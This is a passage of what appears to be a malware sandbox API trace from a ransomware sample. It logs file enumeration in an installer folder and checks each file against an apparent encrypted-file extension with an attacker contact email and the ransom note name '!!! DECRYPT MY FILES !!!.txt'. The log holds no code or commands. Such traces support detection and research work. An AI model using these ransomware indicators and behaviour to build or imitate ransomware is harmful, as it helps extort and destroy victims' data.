cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.687] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.687] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.688] GetProcessHeap () returned 0x630000 [0092.688] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8158, Size=0x60) returned 0x6e7d48 [0092.688] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0092.688] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\setup.ico", psz="C:\\588bce7c90097ed212\\Graphics\\stop.ico", len=0x27 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 1 [0092.688] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\stop.ico", cchLength=0x27 | out: lpsz="c:\\588bce7c90097ed212\\graphics\\stop.ico") returned 0x27 [0092.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.688] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.688] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.688] GetProcessHeap () returned 0x630000 [0092.688] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e7d48, Size=0x64) returned 0x6970e0 [0092.688] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0092.688] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\stop.ico", psz="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 1 [0092.689] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico") returned 0x2c [0092.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.689] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.689] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.689] GetProcessHeap () returned 0x630000 [0092.689] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6970e0, Size=0x68) returned 0x697380 [0092.689] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0092.689] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico", psz="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", len=0x2f | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 1 [0092.689] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", cchLength=0x2f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico") returned 0x2f [0092.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.689] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.689] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.690] GetProcessHeap () returned 0x630000 [0092.690] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x697380, Size=0x6c) returned 0x66bd28 [0092.690] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0092.690] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico", psz="C:\\588bce7c90097ed212\\Graphics\\warn.ico", len=0x27 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 1 [0092.690] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\warn.ico", cchLength=0x27 | out: lpsz="c:\\588bce7c90097ed212\\graphics\\warn.ico") returned 0x27 [0092.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.690] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.690] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.690] GetProcessHeap () returned 0x630000 [0092.690] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66bd28, Size=0x70) returned 0x66bc38 [0092.690] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.690] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0092.691] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0092.691] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\displayicon.ico", psz="C:\\588bce7c90097ed212\\header.bmp", len=0x20 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\header.bmp") returned 1 [0092.691] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\header.bmp", cchLength=0x20 | out: lpsz="c:\\588bce7c90097ed212\\header.bmp") returned 0x20 [0092.691] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.691] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.691] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.691] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.692] GetProcessHeap () returned 0x630000 [0092.692] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66bc38, Size=0x74) returned 0x68fc78 [0092.692] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0092.692] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\header.bmp", psz="C:\\588bce7c90097ed212\\netfx_Core.mzz", len=0x24 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 1 [0092.692] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\netfx_Core.mzz", cchLength=0x24 | out: lpsz="c:\\588bce7c90097ed212\\netfx_core.mzz") returned 0x24 [0092.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.692] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.692] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.692] GetProcessHeap () returned 0x630000 [0092.692] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68fc78, Size=0x78) returned 0x68fd78 [0092.692] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0092.692] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\netfx_core.mzz", psz="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", len=0x28 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 1 [0092.692] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", cchLength=0x28 | out: lpsz="c:\\588bce7c90097ed212\\netfx_core_x64.msi") returned 0x28 [0092.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.693] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.693] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.693] GetProcessHeap () returned 0x630000 [0092.693] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68fd78, Size=0x7c) returned 0x7261e8 [0092.693] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0092.693] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\netfx_core_x64.msi", psz="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", len=0x28 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 1 [0092.693] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", cchLength=0x28 | out: lpsz="c:\\588bce7c90097ed212\\netfx_core_x86.msi") returned 0x28 [0092.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.693] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.693] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.694] GetProcessHeap () returned 0x630000 [0092.694] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7261e8, Size=0x80) returned 0x726b78 [0092.694] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0092.694] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\netfx_core_x86.msi", psz="C:\\588bce7c90097ed212\\netfx_Extended.mzz", len=0x28 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 1 [0092.694] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\netfx_Extended.mzz", cchLength=0x28 | out: lpsz="c:\\588bce7c90097ed212\\netfx_extended.mzz") returned 0x28 [0092.694] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.694] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.694] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.694] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.694] GetProcessHeap () returned 0x630000 [0092.694] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x726b78, Size=0x84) returned 0x6a54c8 [0092.694] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0092.695] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\netfx_extended.mzz", psz="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", len=0x2c | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 1 [0092.695] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\netfx_extended_x64.msi") returned 0x2c [0092.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.695] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.695] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.695] GetProcessHeap () returned 0x630000 [0092.695] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a54c8, Size=0x88) returned 0x6a50d8 [0092.695] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0092.696] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\netfx_extended_x64.msi", psz="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", len=0x2c | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 1 [0092.696] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\netfx_extended_x86.msi") returned 0x2c [0092.696] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.696] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.696] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.696] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.696] GetProcessHeap () returned 0x630000 [0092.696] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a50d8, Size=0x8c) returned 0x6633f0 [0092.696] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0092.696] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\netfx_extended_x86.msi", psz="C:\\588bce7c90097ed212\\ParameterInfo.xml", len=0x27 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 1 [0092.697] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\ParameterInfo.xml", cchLength=0x27 | out: lpsz="c:\\588bce7c90097ed212\\parameterinfo.xml") returned 0x27 [0092.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.697] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.697] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.697] GetProcessHeap () returned 0x630000 [0092.697] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6633f0, Size=0x90) returned 0x663f38 [0092.697] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0092.697] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\parameterinfo.xml", psz="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", len=0x26 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 1 